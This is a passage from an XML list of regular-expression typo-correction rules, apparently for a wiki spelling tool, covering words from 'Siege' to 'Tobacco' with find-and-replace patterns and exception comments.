<Typo word="(Be)Sie(g/v)e" find="\b([bB]es|[sS])ei([gv](?:e[ds]?|ing))\b(?<!David\sSeiving|(?:Leander|Pierre)\sSeige)(?!\sMonstracity)" replace="$1ie$2"/>
<Typo word="Signat(ure/ory)" find="\b([sS])ign[ei]t([ou])r(es?|ies|y)\b" replace="$1ignat$2r$3"/>
<Typo word="(In)Significant" find="\b([iI]ns|[sS])ig(?:i(?:fica|nifica)|n(?:fici?a|if(?:ac?|ca|iga)))n(ce|t(?:ly)?)\b" replace="$1ignifican$2"/>
<Typo word="(In/Non)Significant" find="\b([iI]ns|[nN]ons|[sS])ign(?:fi?(?:[cg]an)|if(?:ac[ae]n|[cg]an|i(?:c(?:a|en)|gan)))(ce|t(?:ly)?)\b" replace="$1ignifican$2"/>
<Typo word="Signify" find="\b([sS])ignf(ie[drs]s?|y)\b" replace="$1ignif$2"/>
<Typo word="(Dis/Veri)Similar" find="\b([dD]iss|[sS]|[vV]eris)im(?:alari?|il(?:ari|iari?)|mili?ari?|ulari?)(ity|ly)?\b" replace="$1imilar$2"/>
<Typo word="Simply" find="\b([sS])imp(?:ley|yl)\b" replace="$1imply"/>
<Typo word="Since" find="\b([sS])icne\b" replace="$1ince"/>
<Typo word="Single-handedly" find="\b([sS])ingle\s+handedll?y\b" replace="$1ingle-handedly"/>
<Typo word="Singsong" find="\b([sS])ingsog\b" replace="$1ingsong"/>
<Typo word="Sinn Féin" find="\bSinn\s+F(?:ei|i[eé])n\b" replace="Sinn Féin"/>
<Typo word="Sistine" find="\b[sS]ixtine?\b" replace="Sistine"/>
<Typo word="Situate" find="\b([sS])it(?:au|uta)t(e[ds]?|i(?:ng|ons?))\b" replace="$1ituat$2"/>
<Typo word="Skagerrak" find="\b[sS]kagerak\b" replace="Skagerrak"/>
<Typo word="(Endo/Exo)Skeleton" find="\b([eE](?:ndos|xos)|[sS])kelat(al|ons?)\b" replace="$1kelet$2"/>
<Typo word="Slaughter" find="\b([sS])laugter(ed|houses?|ing|s?)\b" replace="$1laughter$2"/>
<Typo word="Sleight of hand" find="\b([sS])light(\sof\s|-of-)hand\b" replace="$1leight$2hand"/>
<Typo word="Slightly" find="\b([sS])ligh(?:ltl?|t)y\b" replace="$1lightly"/>
<Typo word="Slowly" find="\b([sS])lowy\b" replace="$1lowly"/>
<Typo word="Smooth" find="\b([sS])moothe\b(?!\s[sS]ylk)\b" replace="$1mooth"/>
<Typo word="Sneak" find="\b([sS])neek(\b(?<!Sneek)|e(?:d|rs?)|i[a-z]+|[sy])\b" replace="$1neak$2"/><!--avoid Sneek-->
<Typo word="Sneeze" find="\b([sS])ne+se([ds])?\b" replace="$1neeze$2"/>
<Typo word="Snorkeled" find="\b([sS])norkl(e(?:d|rs?)|ing)\b" replace="$1norkel$2"/>
<Typo word="Social" find="\b(?:(S)o(?:cal\B|ical)|(s)o(?:cal|ical))(i[sz](?:ations?|e[ds]?|ing)|is[mt]s?|it(?:es?|ies?|y)|ly)?\b" replace="$1$2ocial$3"/><!--avoid Socal-->
<Typo word="Societies" find="\b([sS])ocities\b" replace="$1ocieties"/>
<Typo word="Software" find="\b([sS])of(?:ware|twares\b(?<!\bRJ Softwares))\b" replace="$1oftware"/><!--avoid RJ Softwares-->
<Typo word="sold-out_" find="\bsold\s+out\b(?=\s+(?:a(?:renas?|udiences?)|c(?:oncerts?|rowds?)|events?|g(?:ames?|igs?)|h(?:eadline|o(?:me|use))|performances?|runs?|shows?|tours?|venues?))" replace="sold-out" />
<Typo word="Soldier" find="\b([sS])o(?:il|li)der(ing|s?)\b" replace="$1oldier$2"/>
<Typo word="Solely_" find="\b(?<![A-Z][a-z]{0,99}\s{1,9})soley\b" replace="solely"/><!--avoid surname Soley-->
<Typo word="Soliloquy" find="\b([sS])oliliqu(i(?:es|sts?|[sz](?:e[ds]?|ing))|y)\b" replace="$1oliloqu$2"/>
<Typo word="Solitary" find="\b([sS])olat[ae]ry\b" replace="$1olitary"/>
<Typo word="Soloist" find="\b([sS])olist(s)?\b" replace="$1oloist$2"/>
<Typo word="(In)Soluble" find="\b([iI]ns|[sS])oluab(ility|l[ey])\b" replace="$1olub$2"/>
<Typo word="Some-" find="\b([sS])(?:moe|oe?m)(body|days?|how|one|place|t(?:hing|imes?)|w(?:ays?|h(?:at|ere)))\b" replace="$1ome$2"/>
<Typo word="Someone" find="\b([sS])omene\b" replace="$1omeone"/>
<Typo word="Somewhat" find="\b([sS])omewaht\b" replace="$1omewhat"/>
<Typo word="Sony" find="\b(?:SONY|sony)\b" replace="Sony"/>
<Typo word="(Un)Sophisticate" find="\b([sS]|[uU]ns)(?:o(?:fist|ph)|uphist)icat(e[ds]?|i(?:ng|on))\b" replace="$1ophisticat$2"/>
<Typo word="Sophomore" find="\b([sS])o(?:f|ph)mor(es?|ic[a-z]*)\b" replace="$1ophomor$2"/>
<Typo word="Soufflé" find="\b([sS])oufl([eé](?:ed|s?))\b" replace="$1ouffl$2"/><!--avoid [[wikt:souffle]]-->
<Typo word="Sought" find="\b([sS])eeked\b" replace="$1ought"/>
<Typo word="Sound" find="\b([sS])oud?n(ing|ly|s?|tracks?)\b" replace="$1ound$2"/>
<Typo word="Soup" find="\b([sS])uop\b" replace="$1oup"/>
<Typo word="Southern" find="\b([sS])ourth(er(?:l(?:ies|y)|n?|nmost|s?)|east(?:er(?:l[eisy]+|n?))?|west(?:er(?:l[eisy]+|n?))?)?\b" replace="$1outh$2"/>
<Typo word="Souvenir" find="\b([sS])ouvenier(s)?\b" replace="$1ouvenir$2"/>
<Typo word="Soviets" find="\b([sS])oveit(s)?\b" replace="$1oviet$2"/>
<Typo word="Space" find="\b([sS]|[uU]ns)(?:ap|poa)c(e(?:[ds]?|rs?)|ings?)\b" replace="$1pac$2"/>
<Typo word="Spaghetti" find="\b([sS])pag(?:et?|he)ti(ni)?\b" replace="$1paghetti$2"/>
<Typo word="Spanish" find="\b[sS]painish\b" replace="Spanish"/>
<Typo word="Sparse" find="\b([sS])parce(ly|ness|r?|st)\b" replace="$1parse$2"/>
<Typo word="Special" find="\b([eE]s|[sS])pe(?:cai|ica)l(i(?:sts?|ty)|ly|s?|ty)\b" replace="$1pecial$2"/>
<Typo word="Specialise" find="\b([sS])pecialli([sz](?:ations?|e[ds]?|ing))\b" replace="$1peciali$2"/>
<Typo word="Species" find="\b([sS])peices\b" replace="$1pecies"/>
<Typo word="Specific" find="\b([sS])pec(?:fi|if)c(a(?:lly|tions?)|ity|s?)\b" replace="$1pecific$2"/>
<Typo word="Specimen" find="\b([sS])peciman\b" replace="$1pecimen"/>
<Typo word="Spectacular" find="\b([sS])pectauc?lar(ly|s?)\b" replace="$1pectacular$2"/>
<Typo word="Spectrum" find="\b([sS])pect(al?|um)\b" replace="$1pectr$2"/>
<Typo word="Speeches" find="\b([sS])p[pr]ech(es)?\b" replace="$1peech$2"/>
<Typo word="Speech_" find="\b(?<![A-Z][a-z]{0,99}\s{1,9})([sS])peach(es)?\b" replace="$1peech$2"/>
<Typo word="Spermatozoon" find="\b([sS])permatozoan\b" replace="$1permatozoon"/>
<Typo word="Spiral" find="\b([sS])prial(ed|ing|l(?:ed|ing)|s?)\b" replace="$1piral$2"/>
<Typo word="Spiritual" find="\b([sS])p(?:iriti|ri(?:riu|tu))al(i(?:s[mt]s?|ty)|ly|s?)\b" replace="$1piritual$2"/>
<Typo word="Splendour" find="\b([sS])pendour\b" replace="$1plendour"/>
<Typo word="Sponsor" find="\b([sS])pon(?:se|zo)r(ed|ing|s?|ships?)\b" replace="$1ponsor$2"/>
<Typo word="Spontaneous" find="\b([sS])pontan[eiou]{1,2}s(ly)?\b" replace="$1pontaneous$2"/>
<Typo word="Spread" find="\b([sS])pre(?:ade)?d\b(?<!spreaded)" replace="$1pread"/><!--avoid "with spreaded peanut butter"-->
<Typo word="Squad(ron)" find="\b([sS])qaud(rons?|s?)\b" replace="$1quad$2" />
<Typo word="Square" find="\b([sS])qaure([ds])?\b" replace="$1quare$2"/>
<Typo word="(De)Stabilize" find="\b([dD]es|[sS])tab(?:li)?li([sz](?:ation|e[drs]?|ing))\b" replace="$1tabili$2"/>
<Typo word="Staff" find="\b([sS])taf(?!\s(?:Coppens|de|D(?:iecisiete|obbelaere)|Van)\b)(?<!Kees Staf)(ed|s?)\b" replace="$1taff$2"/><!--avoid Staf De Clercq, Staf Van Reet, Kees Staf etc.-->
<Typo word="Stainless" find="\b([sS])tainle+s\b" replace="$1tainless"/>
<Typo word="(B/St/T/W)alked" find="\b([btwBTW]|[sS]t)alekd\b" replace="$1alked"/>
<Typo word="(B/St/T/W)alking" find="\b([btwBTW]|[sS]t)(?:alkign|laking)\b" replace="$1alking"/>
<Typo word="Stand*" find="\b([sS])tnad([a-z]*)\b" replace="$1tand$2"/>
<Typo word="Standardized/s" find="\b([sS])tandar(i[sz](?:ation|ed?|ing)|s?)\b" replace="$1tandard$2"/>
<Typo word="Start_" find="(?!\bStrater\b)\b([sS])trat(e(?:d|rs?)|ing)\b" replace="$1tart$2"/><!--avoid strat (guitar), Strater (surname)-->
<Typo word="Statement" find="\b([sS])tatment(s)?\b" replace="$1tatement$2"/>
<Typo word="Statesman" find="\b([sS])tatem([ae])n\b" replace="$1tatesm$2n"/>
<Typo word="Status" find="\bstaus\b" replace="status"/><!--avoid surname Staus-->
<Typo word="Station" find="\b([sS])taion([a-z]*)\b" replace="$1tation$2"/>
<Typo word="Stereotype" find="\b([sS])teri?otyp(e[ds]?|i(?:cal(?:ly)?|ng))\b" replace="$1tereotyp$2"/>
<Typo word="Stifle" find="\b([sS])tiffl(e[ds]?|ing)\b" replace="$1tifl$2"/>
<Typo word="Still" find="\b([sS])itll(ness)?\b" replace="$1till$2"/>
<Typo word="Stirring" find="\b(s)tir(ed|ing)\b" replace="$1tirr$2"/>
<Typo word="Stirs" find="\b([sS])tirrs\b" replace="$1tirs"/>
<Typo word="Stockholm" find="\b[sS]tockho(?:lme|me?)\b" replace="Stockholm"/>
<Typo word="Stop" find="\b([sS])tpo(s)?\b" replace="$1top$2"/>
<Typo word="(Hi)Stories" find="\b([hH]is|[sS])tor(?:eis|ise)\b" replace="$1tories"/>
<Typo word="(Hi)Story" find="\b([hH]is|[sS])(?:otry|t(?:o(?:pry|yr)|roy))\b" replace="$1tory"/>
<Typo word="Strand" find="(?!\bStrnad\b)\b([sS])trnad(ed|ing|s?)\b" replace="$1trand$2"/><!--avoid surname Strnad-->
<Typo word="Strange" find="(?!\bStanger?\b)\b([sS])tange(ly|ness|rs?|st)?\b" replace="$1trange$2"/><!--avoid surnames Stange, Stanger-->
<Typo word="Strategy" find="\b([sS])t(?:art[ae]|ra(?:de|t[ai]))g(i(?:c[a-z]*|es|[sz](?:e[ds]?|ing))|y)\b" replace="$1trateg$2"/>
<Typo word="Streamline" find="\b([sS])treemlin([a-z]+)\b" replace="$1treamlin$2"/>
<Typo word="Street_" find="\b([sS])teet(cars?|s?)\b" replace="$1treet$2"/>
<Typo word="Strength" find="\b([sS])tre(?:gth|n(?:gh|t(?:gh|h))|ng(?:ht?h?|t))(s?|en(?:e(?:d|rs?)|ing|s?))\b" replace="$1trength$2"/>
<Typo word="Strenuous" find="\b([sS])trenous(ly)?\b" replace="$1trenuous$2"/>
<Typo word="(Re/Con/Di/Redi)Strict" find="\b([cC]ons|[dD]is|[rR]e(?:dis|s)|[sS])tict(e(?:[dr]|st)|i(?:ng|ve[a-z]*)|ly|ness|or|s?)\b" replace="$1trict$2"/>
<Typo word="Strictest" find="\b([sS])trictist\b" replace="$1trictest"/>
<Typo word="Strikingly" find="\b([sS])trikely\b" replace="$1trikingly"/>
<Typo word="(A)Stringent" find="\b([aA]s|[sS])tingen(cy|t(?:ly)?)\b" replace="$1tringen$2"/>
<Typo word="Strong" find="(?!\bStong\b)\b([sS])tor?ng(e(?:r|st)|ly)?\b" replace="$1trong$2"/><!--avoid surname Stong-->
<Typo word="Stronger" find="\b([sS])t(?:or|ro)neg(r|st)\b" replace="$1tronge$2"/>
<Typo word="Struggle" find="\b([sS])t(?:rug(?:gel|le)|uggle)([ds])?\b" replace="$1truggle$2"/>
<Typo word="Struggling" find="\b([sS])tugg?ling\b" replace="$1truggling"/>
<Typo word="Stubbornness" find="\b([sS])tub(?:bor|orn?)nes?s\b" replace="$1tubbornness"/>
<Typo word="Student" find="\b([sS])tudnet(s)?\b" replace="$1tudent$2"/>
<Typo word="Study" find="\b([sS])tudd(ie[ds]|y)\b" replace="$1tud$2"/>
<Typo word="Studying" find="\b([sS])tuding\b" replace="$1tudying"/>
<Typo word="Sturdy" find="\b([sS])tird(y|i(?:e(?:[drs]|st)|ly|ness))\b" replace="$1turd$2"/>
<Typo word="(Free/Life)Style" find="\b([fF]rees|[lL]ifes|[sS])(?:tly|ytl)(e[ds]?|i[sz](?:e[ds]?|ings?)|i(?:ngs?|s[ht][a-z]*))\b" replace="$1tyl$2"/>
<Typo word="Stylus" find="\b([sS])tilus\b" replace="$1tylus"/>
<Typo word="(Sub/Un)conscious" find="\b([sS]ub|[uU]n)con(?:cious|s(?:cience|ious))(ly)?\b" replace="$1conscious$2"/>
<Typo word="Subjugation" find="\b([sS])ubjudgation\b" replace="$1ubjugation"/>
<Typo word="Submit" find="\b([sS])umbi(ssions?|t(?:s?|t(?:ed|ing)))\b" replace="$1ubmi$2"/>
<Typo word="(In)Subordinate" find="\b([iI]ns|[sS])ubordin?[ae]nt(e[ds]?|i(?:ons?|ve)|ly|or)\b" replace="$1ubordinat$2"/>
<Typo word="Subspecies" find="\b([sS])ubpecies\b" replace="$1ubspecies"/>
<Typo word="Substance" find="\b([sS])ub(?:sta|tan)ce(s)?\b" replace="$1ubstance$2"/>
<Typo word="(In/Un)Substantial" find="\b([iI]ns|[sS]|[uU]ns)ubsta(?:nc?|t)ia(l?|l(?:ity|ly)|t(?:e[ds]?|ing))\b" replace="$1ubstantia$2"/>
<Typo word="Subterranean" find="\b([sS])ubter?ran[ei]a(?<!ubterranea)n(ly)?\b" replace="$1ubterranean$2"/>
<Typo word="Suburb" find="\b([sS])u(?:burburb|rburb)(an(?:i(?:sm|tes?))?|ed|s?)\b" replace="$1uburb$2"/>
<Typo word="Suburban" find="\b([sS])uburb(?:ia|urba)n(ites?)?\b" replace="$1uburban$2"/>
<Typo word="Succeed (1)" find="\b([sS])ucc(?:cee|ed?)d(ed|ing|s?)\b" replace="$1ucceed$2"/>
<Typo word="Succeed (2)" find="\b([sS])uc(?:cs|s?)e(ed(?:ed|ing|s?)|ss(?:es|ful(?:ly)?|i(?:ons?|ve(?:ly)?)|ors?)?)\b" replace="$1ucce$2"/>
<Typo word="(Un)Success" find="\b([sS]|[uU]ns)uc(?:cs|s?)ess?(es|ful[a-z]*|ors?)?\b" replace="$1uccess$2"/>
<Typo word="Successfully" find="\b([sS]|[uU]ns)uccess(?:fulyl|ully)\b" replace="$1uccessfully"/>
<Typo word="Successive" find="\b([sS])uc(?:ce|es?)si(ons?|ve[a-z]*)\b" replace="$1uccessi$2"/>
<Typo word="Suddenly" find="\b([sS])udd?entll?y\b" replace="$1uddenly"/>
<Typo word="(In)Sufficient" find="\b([iI]ns|[sS])uf(?:f(?:cie|ic(?:ei?|ia?))|ic(?:ei?|i[ae]?))n(c(?:ies|y)|t(?:ly)?)\b" replace="$1ufficien$2"/>
<Typo word="Succinct" find="\b([sS])uccint(ly|ness)?\b" replace="$1uccinct$2"/>
<Typo word="Suffrage" find="\b([sS])uf(?:e?|fe)rag(e(?:tt(?:es?|ism))?|is[mt]s?)\b" replace="$1uffrag$2"/>
<Typo word="Suggest" find="\b([sS])ugest(ed|i(?:b[a-z]+|ng|ons?|ve[a-z]*)|s?)\b" replace="$1uggest$2"/>
<Typo word="Suicidal" find="\b([sS])ucidial\b" replace="$1uicidal"/>
<Typo word="Suicide" find="\b([sS])ucid(al|es?)\b" replace="$1uicid$2"/>
<Typo word="Summary" find="\b([sS])um(?:[ae]|me(?!ry))r(ily|i[sz](?:ation|e[ds]?|ing)|y)\b" replace="$1ummar$2"/>
<Typo word="Supersede" find="\b([sS])uperce+(d(?:e[ds]?|ing)|ssions?)\b" replace="$1uperse$2"/>
<Typo word="Supplant" find="\b([sS])u(?:rp?)?plant(ed|ing|s?)\b" replace="$1upplant$2"/>
<Typo word="Supplement" find="\b([sS])up(?:l[aei]+|pl[ai])ment(a(?:l|ry)|ed|ing|s?)\b" replace="$1upplement$2"/>
<Typo word="Supply" find="\b([sS])upp(iers?|y)\b" replace="$1uppl$2"/>
<Typo word="Support" find="\b([sS])up(?:pp+)?ort(e(?:d|rs?)|i(?:ng|ve[a-z]*)|s?)\b" replace="$1upport$2"/>
<Typo word="supp-" find="\bwupp(ly|o(?:rts?|se[a-z]*))\b" replace="supp$1"/>
<Typo word="Supp-" find="\bWupp(ly|o(?:rts?|se[a-z]*))\b" replace="Supp$1"/>
<Typo word="Supposed" find="\b([sS])upp?o(?:ss)?(ed(?:ly)?|ing)\b" replace="$1uppos$2"/>
<Typo word="Supposedly" find="\b([sS])uppos(?:ab|ing)ly\b" replace="$1upposedly"/>
<Typo word="(Immunosu/Su/O)ppress" find="\b([iI]mmunosu|[oO]|[sS]u)(?:p(?:p+re|res?)|rp+res?)s(ants?|e(?:[ds]|rs?)|i(?:ble|[nov][a-z]+)|ors?)?\b" replace="$1ppress$2"/>
<Typo word="Surface" find="\b([sS])urf(?:as|c|ic)(e[drs]?|ing)\b" replace="$1urfac$2"/>
<Typo word="Surname" find="\b([sS])irname([ds])?\b" replace="$1urname$2"/>
<Typo word="(Un)Surprise" find="\b([sS]|[uU]ns)u(?:pri[sz]|rpriz)(e[ds]?|ing(?:ly)?)\b" replace="$1urpris$2"/>
<Typo word="Surrender" find="\b([sS])ur(?:r(?:end|under)|under)(ed|ing|s?)\b" replace="$1urrender$2"/>
<Typo word="Surreptitious" find="\b([sS])urr?(?:ep(?:eti)?|peti)tious(ly)?\b" replace="$1urreptitious$2"/>
<Typo word="Surround" find="\b([sS])(?:orr?(?:oun|un)|ur(?:ou[nu]|ro[nu]))d(ed|ings?|s?)\b" replace="$1urround$2"/>
<Typo word="Surströmming" find="\b([sS])urstrom{1,3}ing\b" replace="$1urströmming"/>
<Typo word="Surveil" find="\b([sS])urveill\b" replace="$1urveil"/>
<Typo word="Surveillance" find="\b([sS])urveil(?:[ae]|le)nce\b" replace="$1urveillance"/>
<Typo word="Surveyor" find="\b([sS])urveyer(s)?\b" replace="$1urveyor$2"/>
<Typo word="Surviv(e/al/or)" find="(?!\b[sS]urvie\b)\b([sS])u(?:r(?:iv|vi(?:vi)?)|viv)(al|e[ds]?|ing|ors?(?:hip)?)\b" replace="$1urviv$2"/><!--avoid French word survie-->
<Typo word="Survivor" find="\b([sS])ur?viv(?:e|io)r(s)?\b" replace="$1urvivor$2"/>
<Typo word="Susceptible" find="\b([sS])u(?:csept[ai]|s(?:cepta|ept[aia]))((?:ble|ve)(?:ness)?|bilit(?:ies|y)|vit(?:ies|y))\b" replace="$1uscepti$2"/>
<Typo word="Swea(r/t)" find="\b([sS])wae([rt](?:ing|s?)|te(?:d|rs?))\b" replace="$1wea$2"/>
<Typo word="Swimming" find="\b([sS])wiming(ly)?\b" replace="$1wimming$2"/>
<Typo word="Switch" find="\b([sS])wti?ch(e[ds]|ing)?\b" replace="$1witch$2"/>
<Typo word="Sydney" find="\b[sS]yndn?ey\b" replace="Sydney"/>
<Typo word="Symmetric" find="\b([sS])ym(?:et+ric|metral)\b" replace="$1ymmetric"/>
<Typo word="(A/Anti)Symmetry" find="\b([aA](?:ntis|s)|[sS])ymetr(i(?:c(?:al(?:ly)?)?|es)|y)\b" replace="$1ymmetr$2"/>
<Typo word="Symphony" find="\b([sS])ynphon(i(?:c|es)|y)\b" replace="$1ymphon$2"/>
<Typo word="Symptom" find="\b([sS])y(?:mpton|pmtom)(atic|s?)\b" replace="$1ymptom$2"/>
<Typo word="Synagogue" find="\b([sS])(?:ina|yno)gog(al|ical|s?|ues?)\b" replace="$1ynagog$2"/>
<Typo word="Synchronize" find="\b([sS])ync[hr]oniz(ations?|e[drs]?|ing)\b" replace="$1ynchroniz$2"/>
<Typo word="Synonymous" find="\b([sS])inon[aoy]mous(ly)?\b" replace="$1ynonymous$2"/>
<Typo word="Synthesis" find="\b([sS])ynth[ai]s(es|i(?:s(?:e[drs]?)?|ze[drs]?))\b" replace="$1ynthes$2"/>
<Typo word="Syphilis" find="\b([sS])[iy]phyl+[iu](s|tic)\b" replace="$1yphili$2"/>
<Typo word="Syrup" find="\b([sS])yrap\b" replace="$1yrup"/>
<Typo word="System" find="\b([sS])s?y(?:s|te)m(atic(?:ally|ly)?|ati[sz]ed?|s?)\b" replace="$1ystem$2"/>
</source>
===T===
<source lang="xml">
<Typo word="(Mis)Take" find="\b([mM]ist|[sS]t|[tT])kae([ns])?\b" replace="$1ake$2"/>
<Typo word="Talent_" find="(?!\bTallents?\b)\b([tT])allent(ed|s?)\b" replace="$1alent$2"/><!--avoid surname Tallent-->
<Typo word="Target" find="\b([tT])argett(able|ed|ing|s?)\b" replace="$1arget$2"/>
<Typo word="Tattoo" find="\b([tT])at(?:ooe?|t+ooe)(ed|s?)\b" replace="$1attoo$2"/>
<Typo word="Taught" find="\b([tT])eached\b" replace="$1aught"/>
<Typo word="Taxonomy" find="\b([tT])axanom(i(?:c|sts?)|y)\b" replace="$1axonom$2"/>
<Typo word="(Non)Technical" find="\b([nN]ont|[tT])ec(?:hini?|ini?|ni)(c(?:al[a-z]*|ians?)|ques?)\b" replace="$1echni$2"/>
<Typo word="Technician" find="\b([tT])ech(?:ic|nit)(al[a-z]*|ians?)\b" replace="$1echnic$2"/>
<Typo word="Telephony" find="\b([tT])el[ai]?phon([a-z]+)\b" replace="$1elephon$2"/>
<Typo word="Televise" find="\b([tT])el(?:eviz|ivi[sz])(e[ds]?|i(?:ngs?|ons?)|ors?|ual)\b" replace="$1elevis$2"/>
<Typo word="Television" find="\b([tT])ele(?:levisio|v(?:is?o|sio))n(s)?\b" replace="$1elevision$2"/>
<Typo word="(In/Sub)Temperate" find="\b([iI]nt|[sS]ubt|[tT])emp(?:ar[ae]|ere?|r[ae])?(ment[a-z]*|nce|t(?:e(?:ly)?|ures?))\b" replace="$1empera$2"/>
<Typo word="Temperature" find="\b([tT])em(?:eratur|p(?:are?a?tur|er(?:atu|taur)|re?a?tur))e(s)?\b" replace="$1emperature$2"/>
<Typo word="(Con)Temporary" find="\b([cC]ont|[tT])[ae]?(?:mp?|pm?)(?:erar|o(?:ar?|r(?:ar?)?)|r(?:ar|o(?:ar?|rar?)))(?<![tT]emporar)(i(?:es|ly)|y)\b" replace="$1emporar$2"/>
<Typo word="Tendency" find="\b([tT])endan?c(ies|y)\b" replace="$1endenc$2"/>
<Typo word="(Extra)Terrestrial" find="\b([eE]xtrat|[tT])er(?:estr?|rest)ial(ly|s?)\b" replace="$1errestrial$2"/>
<Typo word="Territory" find="\b([tT])er+[aei]t*o+[rt]*(?<!erritor)(i(?:al(?:ly)?|es)|y)\b" replace="$1erritor$2"/>
<Typo word="Terrorist" find="\b([tT])err(?:itor|o)ist(ic|s?)\b" replace="$1errorist$2"/>
<Typo word="Tentative" find="\b([tT])entitive?(ly)?\b" replace="$1entative$2"/>
<Typo word="Tête-à-tête" find="\b([tT])ete-a-tete(s)?\b" replace="$1ête-à-tête$2"/>
<Typo word="Thérèse Raquin" find="\b[tT]h[eéèê]r[eéèê]s[eéèê]\s+[rR]aquin\b" replace="Thérèse Raquin"/>
<Typo word="Than" find="\b([tT])ahn\b" replace="$1han"/>
<Typo word="Tha(n/t/w)" find="\b([tT])h([ntw])a\b" replace="$1ha$2"/>
<Typo word="Thanks" find="\b([tT])hansk\b" replace="$1hanks"/>
<Typo word="That" find="\b([tT])(?:aht|h(?:[gy]at|ta)|yhat)\b" replace="$1hat"/>
<Typo word="That's" find="\b([tT])ha(?:t[´ˈ׳᾿‘’′Ꞌꞌ`;]?s|st)\b" replace="$1hat's"/>
<Typo word="Thaw" find="\bunthaw(ed|ing|s?)\b" replace="thaw$1"/>
<Typo word="Thaw" find="\bUnthaw(ed|ing|s?)\b" replace="Thaw$1"/>
<Typo word="The (1)" find="\b([tT])(?:ghe|h(?:eh|ge|w(?!\.))|jh?e|the)\b" replace="$1he"/><!--avoid Thw., a taxon authority-->
<Typo word="The (2)" find="\b[tT]He(irs?|[ny]?|re(?:fore)?|se)\b(?![^\s\.]*\.\w)" replace="The$1"/><!--avoid domains-->
<Typo word="The(space) (3)" find="\b([tT])he([bB]est|[fF]irst|[lL]ast|[mM]ost|[sS]econd|[tT]hird)\b" replace="$1he $2"/><!--avoid "Theman", "TheWorld"-->
<Typo word="(space)The" find="\b([aA](?:fter|nd|[st])|[bB]y|[fF]or|[iI][fn]|[oO](?:[fn]|ver)|[tT]o|[uU](?:n(?:der|til)|p)[wW](?:hen|ith))([tT])he(?!\sInternational)\b" replace="$1 $2he"/><!--avoid "(Be/Go/Or/So)the" or [[Tothe International]]-->
<Typo word="Theatre (1(" find="\b([tT])heather(s)?\b" replace="$1heatre$2"/>
<Typo word="Theatre (2)" find="\b([tT])hreatr(es?|ic(?:al(?:ly|s?)|s?))\b" replace="$1heatr$2"/>
<Typo word="Their" find="\bth(?:eri|ier)(s)?\b" replace="their$1"/><!--avoid surnames Thier & Thiers-->
<Typo word="Themselves" find="\b([tT])he(?:irselve|mself)s\b" replace="$1hemselves"/>
<Typo word="(T/W)hen" find="\b([twTW])(?:ehn|hne?)\b" replace="$1hen"/>
<Typo word="Theorem" find="\b([tT])heoru?m\b" replace="$1heorem"/>
<Typo word="Theoretic" find="\b([tT])heorectic(al[a-z]*|s?)\b" replace="$1heoretic$2"/>
<Typo word="(T/W)here(after/by/fore/upon)" find="\b([twTW])her(after|by|fore|upon)\b" replace="$1here$2"/>
<Typo word="There (grammar)" find="\b([tT])heir\s+(a(?:re(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?|in[´ˈ׳᾿‘’′Ꞌꞌ`;']t)|c(?:an(?:not|[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?|ould(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?)|ha(?:[ds]|ve)(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?|is(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?|m(?:ight(?=\s+be\b)|ay(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?)|sh(?:a(?:ll|n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)|ould(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?)|w(?:as|ere|ould)(?:n[´ˈ׳᾿‘’′Ꞌꞌ`;']t)?)\b(?!-)" replace="$1here $2"/><!--avoid 'their would-be'-->
<Typo word="These" find="\b([tT])heese\b" replace="$1hese"/>
<Typo word="They" find="\b([tT])(?:ehy|yhe)\b" replace="$1hey"/>
<Typo word="Thief" find="\b([tT])hei(f|v(?:e(?:ry|s)|ing))\b" replace="$1hie$2"/>
<Typo word="Thing" find="\b([tT])h(?:ign|nig)(s)?\b" replace="$1hing$2"/>
<Typo word="Things" find="\b([tT])higsn\b" replace="$1hings"/>
<Typo word="Think" find="\b([tT])hi(?:kn|unk)(ing|s?)\b" replace="$1hink$2"/>
<Typo word="Thin(g/k)" find="\bHtin([gk])n?(ing|s?)\b" replace="Thin$1$2"/>
<Typo word="thin(g/k)" find="\bhtin([gk])n?(ing|s?)\b" replace="thin$1$2"/>
<Typo word="Third" find="\b([tT])h(?:irth|rid)(ly|s?)\b" replace="$1hird$2"/>
<Typo word="Thirteen" find="\b([tT])h(?:irth|rit)een(s?|ths?)\b" replace="$1hirteen$2"/>
<Typo word="This" find="\b([tT])(?:ghis|hsi|ihs)\b" replace="$1his"/>
<Typo word="This/There/Them/They/Then/The" find="\bHt(e(?:[mny]?|re)|is)\b" replace="Th$1"/>
<Typo word="This/there/them/they/then/the" find="\bht(e(?:[mny]?|re)|is)\b" replace="th$1"/>
<Typo word="Thorough_" find="\b([tT])hro(?:rough(ly|ness)?|ugh(ly))\b" replace="$1horough$2$3"/><!--avoid through(ness)-->
<Typo word="Those" find="\b([tT])hsoe\b" replace="$1hose"/>
<Typo word="(T/W)hose" find="\b([twTW])hoose\b" replace="$1hose"/>
<Typo word="Threaten" find="\b([tT])(?:hre(?:ath?|t)|reath?)e?n(?<!hreaten)(ed|ings?|s?)\b" replace="$1hreaten$2"/>
<Typo word="Threatened" find="\b([tT])hreatend(?:ed)?\b" replace="$1hreatened"/>
<Typo word="Three" find="\b([tT])hreee(s)?\b" replace="$1hree$2"/>
<Typo word="Threshold" find="\b([tT])(?:hres(?:hh|s)|res(?:hh?|s))old(s)?\b" replace="$1hreshold$2"/>
<Typo word="T(h)rough" find="\b([tT]h?)roug\b" replace="$1rough"/>
<Typo word="Through" find="\b([tT])hrou(?:g(?:ht)?|hg?)\b" replace="$1hrough"/>
<Typo word="Throughout" find="\b([tT])hough[−―–—\s]?out\b(?!-| of\b)" replace="$1hroughout"/>
<Typo word="Thus far" find="\b([tT])husfar\b" replace="$1hus far"/>
<Typo word="Tighten" find="\b([tT])ightn(ed|ing|s?)\b" replace="$1ighten$2"/>
<Typo word="Time (1)" find="\b([tT])iem(l(?:ines*|y))?\b" replace="$1ime$2"/>
<Typo word="Time (2)" find="\b([tT])imn(e(?:[ds]?|ly)|ing)\b" replace="$1im$2"/>
<Typo word="Tobacco" find="\b([tT])(?:abb?[ao]c?|ob(?:a|bac?))co(nists?|s?)\b(?<!Tabac(?:co\b|os?\b))" replace="$1obacco$2"/><!--avoid Tabaco(s) City, surname Tabacco-->
